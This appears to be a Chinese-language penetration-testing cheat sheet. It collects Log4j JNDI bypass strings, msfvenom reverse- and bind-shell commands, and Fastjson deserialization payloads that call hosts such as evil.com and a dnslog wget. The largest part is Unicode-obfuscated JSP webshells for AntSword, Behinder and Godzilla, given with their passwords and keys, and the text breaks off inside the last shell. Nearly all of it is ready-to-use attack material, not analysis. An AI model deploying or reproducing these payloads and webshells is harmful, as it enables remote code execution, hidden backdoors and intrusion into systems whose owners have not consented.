${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}

${${::-j}ndi:${::-j}mi://127.0.0.1:1099/ass}

${jndi:rmi://adsasd.asdasd.asdasd}

${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

MSF

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/bind_tcp LPORT=8001 -f elf -o msfshell
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf
linux/x86/meterpreter_reverse_https

MSF内网多重路由穿透永恒之蓝

run autoroute -s 192.168.0.0/16

bg
#msf将自动在跳板机设置监听
set lhost [跳板机IP]

文件上传请求包构造

application/x-www-form-urlencoded

POST http://www.example.com HTTP/1.1
Content-Type: application/x-www-form-urlencoded;charset=utf-8

name=qwe&pwd=123

multipart/form-data

<html>
<form id="form1" enctype="multipart/form-data" method="post" action="https://bbb.com/xxx.ashx?filePath=js">
    <input type="file" name="Filedata">
    <input type="submit">
</form>
</html>

ee

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymMgLJdk18SQHBnpj
Content-Length: 305

------WebKitFormBoundarymMgLJdk18SQHBnpj
Content-Disposition: form-data; name="upload"; filename="whoami.jsp"
Content-Type: application/octet-stream

1111Vciz
------WebKitFormBoundarymMgLJdk18SQHBnpj
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundarymMgLJdk18SQHBnpj--

application/json

参考阅读:

用request.files实现异文件上传

请求头常用的ContentType、文件上传

DoIP

UART协议

CAN 协议教程

DoIP协议规范 ISO13400

UDS诊断规范 UDS14229-1

https://zhuanlan.zhihu.com/p/446348996

UDS诊断服务基础篇之27

一文理解UDS安全访问服务(0x27)

UDS服务简易教程(二

Unified Diagnostic Services

python库:udsoncan、doipclient

UDS NRC codes

AutoSAR

找漏洞

Tomcat版本速查漏洞

Apache Tomcat 8.x vulnerabilities

PHPCMS镜像

https://mirror.cnop.net/?search=phpcms

ImageTragick

https://imagetragick.com/

CVE-2016-3714 - ImageMagick 命令执行分析

Gitlab

CVE-2021-22205: inspiringz/CVE-2021-22205

grafana

grafana最新任意文件读取分析以及衍生问题解释

隐藏的OAuth攻击向量

Hidden OAuth attack vectors

隐藏的OAuth攻击向量

提权漏洞

https://github.com/berdav/CVE-2021-4034.git

redhat-CVE-2021-4034

CVE-2021-4034 pkexec 本地提权

qualys团队: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

FUZZ

Fuzzing技术总结(Brief Surveys on Fuzz Testing)

模糊测试之AFL总结

我的Web应用安全模糊测试之路

X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

Shiro反序列化

绕WAF

删除GET请求头。

渗透遇shiro,看我巧绕waf | 技术精选0131

反序列化链

在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链,该师傅还写了个不错的shiro工具,https://github.com/F4ded/DearShiro

ysoserial-CommonsBeanutils1的shiro无依赖链改造

shiro 反序列化复现-只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

CommonsBeanutils与无commons-collections的Shiro反序列化利用-扩展阅读:代码审计知识星球中的Java安全漫谈

Ares-X师傅的shiro-exploitM-Kings/WEB-shiro_rememberMe_encode_decode,也有机会可以自制RemeberME Cookie的Payload。

原版ysoserial:frohoff/ysoserial

ysoserial 工具改造(一),成果:KpLi0rn/ysoserial

使用自定义ClassLoader解决反序列化serialVesionUID不一致问题

使ysoserial支持执行自定义代码

Shiro 反序列化漏洞利用工具编写思路-中的工具链CommonsBeanutils1分别基于1.9.2版本和1.8.3版本生成payload

Fastjson盲打

<=1.2.24

com.sun.rowset.JdbcRowSetImpl

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.122.124:9999/MSFPayload",
        "autoCommit":true
    }
}

<=1.2.47

绕过白名单检测。

com.sun.rowset.JdbcRowSetImpl

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}

>1.2.67探测?

{"@type":"java.net.Inet4Address","val":"1111.3hu6y2.dnslog.cn"}
{"@type":"java.net.Inet6Address","val":"1111.3hu6y2.dnslog.cn"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"11.3hu6y2.dnslog.cn"}}

<1.2.67

探测

{"leo":{"@type":"java.net.Inet4Address","val":"1111.3hu6y2.dnslog.cn"}}

com.mysql.connector,此SSRF链通杀5.1.x所有版本,但只有5.1.11至5.1.48可反序列化。

{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo":"1.1.1.1",
"portToConnectTo":3306,
"info":{
"user":"yso_CommonsBeanutils1_wget http://kokoisko.38dlsn.dnslog.cn/123",
"password":"ubuntu",
"useSSL":"false","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true"},
"databaseToConnectTo":"mysql",
"url":""}
}

关于blackhat2021披露的fastjson1.2.68链

搭建mysql服务器,https://github.com/fnmsd/MySQL_Fake_Server,在MySQL_Fake_Server 目录内里放一个ysoserial-0.0.6-SNAPSHOT-all.jar,下载地址:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

hostToConnectTo为VPS地址。

命令: wget http://kokoisko.38dlsn.dnslog.cn/123,即填写"user":“yso_CommonsBeanutils1_wget http://kokoisko.38dlsn.dnslog.cn/123",

fastjson插件

https://github.com/pmiaowu/BurpFastJsonScan

参考

Fastjson 反序列化漏洞简析

Jsp-Webshell混淆

unicode编码

Java编译器首先识别Unicode符号\u

特殊点,在\u2122后添加多个u,\uuuuuuuu2122仍可以被正常解析转换。

Chapter 3. Lexical Structure (oracle.com)

某次攻防文件上传绕过-getshell - 云+社区 - 腾讯云 (tencent.com)

闲谈Webshell实战应用 - 安全客,安全资讯平台 (anquanke.com)

Webshell 混淆 - jsp 类型 | 海上孤岛 (iassas.com)

antsword

蚁剑,密码 ant

<%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u0020\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0029\u0020\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0020\u0030\u002c\u0020\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u0072\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0042\u0061\u0073\u0065\u0036\u0034\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0065\u0029\u0020\u007b\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u007d
%>
<%
\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0061\u006e\u0074\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0063\u006c\u0073\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0063\u006c\u0073\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002c\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d
%>

冰蝎

冰蝎,密码 rebeyond

<%@page import="\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.\u0073\u0070\u0065\u0063.*"%><%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u0020\u005b\u005d\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0030\u002c\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d%><%\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028"POST"\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006b\u003d"e45e329feb5d925b"\u003b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065\u0028"u"\u002c\u006b\u0029\u003b\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"AES"\u0029\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u0032\u002c\u006e\u0065\u0077\u0020\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u006b\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c"AES"\u0029\u0029\u003b\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u006e\u0065\u0077\u0020\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0028\u0029\u002e\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0029\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u007d%>

哥斯拉

密码 pass,密钥 key

<%! \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0078\u0063\u003d"3c6e0b8a9c15224a"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0070\u0061\u0073\u0073\u003d"pass"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u003d\u006d\u0064\u0035\u0028\u0070\u0061\u0073\u0073\u002b\u0078\u0063\u0029\u003b\u0020\u0063\u006c\u0061\u0073\u0073\u0020\u0058\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0058\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007a\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u007a\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0051\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0063\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0063\u0062\u002c\u0020\u0030\u002c\u0020\u0063\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u0020\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0078\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0073\u002c\u0062\u006f\u006f\u006c\u0065\u0061\u006e\u0020\u006d\u0029\u007b\u0020\u0074\u0072\u0079\u007b\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u0041\u0045\u0053")\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u006d\u003f\u0031\u003a\u0032\u002c\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0073\u0070\u0065\u0063\u002e\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u0078\u0063\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c"\u0041\u0045\u0053"\u0029\u0029\u003b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u0073\u0029\u003b\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u0020\u007d\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u0020\u006d\u003b\u006d\u0020\u003d\u0020\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u004d\u0044\u0035"\u0029\u003b\u006d\u002e\u0075\u0070\u0064\u0061\u0074\u0065\u0028\u0073\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0020\u0030\u002c\u0020\u0073\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u0029\u003b\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006d\u0061\u0074\u0068\u002e\u0042\u0069\u0067\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0031\u002c\u0020\u006d\u002e\u0064\u0069\u0067\u0065\u0073\u0074\u0028\u0029\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u002e\u0074\u006f\u0055\u0070\u0070\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0072\u0065\u0074\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"\u0067\u0065\u0074\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encodeToString"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encode"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\